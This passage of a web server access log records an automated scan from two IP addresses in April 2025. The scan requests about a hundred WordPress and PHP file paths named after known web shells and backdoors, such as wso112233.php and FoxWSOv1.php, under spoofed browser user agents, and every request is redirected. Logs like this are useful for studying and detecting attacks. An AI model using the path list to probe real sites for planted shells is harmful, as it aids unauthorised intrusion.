"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:42 -0400] "GET /wp-includes/Text/Diff/Engine/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:42 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:42 -0400] "GET /.well-known/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.85 - - [23/Apr/2025:03:21:42 -0400] "GET /wp-admin/wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:21:42 -0400] "GET /wp-includes/IXR/class-IXR-http.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:42 -0400] "GET /wp-content/plugins/Core-Econ/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:42 -0400] "GET /wp-content/plugins/erin/pgs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:42 -0400] "GET /wp-includes/Text/Diff/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:42 -0400] "GET /wp-content/upgrade/ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:42 -0400] "GET /.well-known/pki-validation/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:42 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:42 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:42 -0400] "GET /x7.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:42 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:42 -0400] "GET /wp-admin/css/colors/blue/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:42 -0400] "GET /wp-includes/SimplePie/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:42 -0400] "GET /wp-content/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:21:42 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:42 -0400] "GET /wp-admin/js/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:42 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:42 -0400] "GET /wp-admin/network/abuot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:42 -0400] "GET /wp-includes/images/media/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:21:42 -0400] "GET /wp-includes/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:42 -0400] "GET /.tmb/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.85 - - [23/Apr/2025:03:21:42 -0400] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:42 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:43 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:43 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:21:43 -0400] "GET /wp-admin/js/maila.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:43 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:43 -0400] "GET /images/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:21:43 -0400] "GET /wp-admin/images/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:21:43 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:43 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:43 -0400] "GET /FoxWSOv1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:43 -0400] "GET /wp-includes/PHPMailer/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:43 -0400] "GET /pgs.phP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:43 -0400] "GET /wp-content/uploads/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:43 -0400] "GET /wp-content/themes/pridmag/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:43 -0400] "GET /.well-known/acme-challenge/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:43 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:43 -0400] "GET /wp-content/uploads/indax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:43 -0400] "GET /Patrick.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:43 -0400] "GET /.well-known/acme-challenge/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:21:43 -0400] "GET /wp-admin/css/colors/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:43 -0400] "GET /cgi-bin/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:43 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:43 -0400] "GET /about.php?525 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:43 -0400] "GET /wp-includes/fonts/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:43 -0400] "GET /modules/karakaroa/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:43 -0400] "GET /wp-includes/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:43 -0400] "GET /wp-content/themes/tflow/goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:43 -0400] "GET /.well-known/acme-challenge/aboudt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:43 -0400] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:43 -0400] "GET /wp-admin/images/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:43 -0400] "GET /wp-admin/includes/logs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:43 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:43 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:43 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:43 -0400] "GET /wordpress/wp-content/uploads/_input_3_css.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:43 -0400] "GET /wp-admin/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:43 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:21:43 -0400] "GET /wp-content/plugins/seoplugins/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:43 -0400] "GET /abuot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:21:43 -0400] "GET /files/careers.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:44 -0400] "GET /mm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:44 -0400] "GET /.well-known/bs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:44 -0400] "GET /uploads/Alex-Cross.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:44 -0400] "GET /wp-content/themes/freeyanz/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:44 -0400] "GET /black2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:44 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:44 -0400] "GET /wp-admin/js/headert.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:44 -0400] "GET /wp-includes/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:44 -0400] "GET /wp-includes/ID3/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:44 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:44 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:44 -0400] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:44 -0400] "GET /wp-content/themes/erapress/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:44 -0400] "GET /wp-admin/css/sidebaru.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.85 - - [23/Apr/2025:03:21:44 -0400] "GET /indeex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:44 -0400] "GET /wp-includes/images/file1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:44 -0400] "GET /wp-includes/SimplePie/Content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:44 -0400] "GET /wp-content/plugins/doyanz/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:21:44 -0400] "GET /wp-content/plugins/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:44 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:44 -0400] "GET /wp-admin/images/come.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:44 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:44 -0400] "GET /sys.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:44 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:44 -0400] "GET /wp-content/themes/panama/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:44 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:44 -0400] "GET /wp-includes/pomo/xxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:44 -0400] "GET /jkaeeehs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:44 -0400] "GET /wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:21:44 -0400] "GET /wp-includes/customize/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:44 -0400] "GET /wp-content/plugins/dhon/newsfeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:44 -0400] "GET /wp-content/themes/moog/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:44 -0400] "GET /wp-admin/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:44 -0400] "GET /wp-admin/css/singlen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:44 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:44 -0400] "GET /wp-admin/js/widgets/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:21:44 -0400] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:44 -0400] "GET /vedcve.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:45 -0400] "GET /wp-content/uploads/2023/11/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:45 -0400] "GET /wp-includes/wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:45 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:45 -0400] "GET /wp-includes/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:45 -0400] "GET /wp-includes/css/dist/wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:45 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:45 -0400] "GET /jsdindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:45 -0400] "GET /wp-content/uploads/2023/12/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; 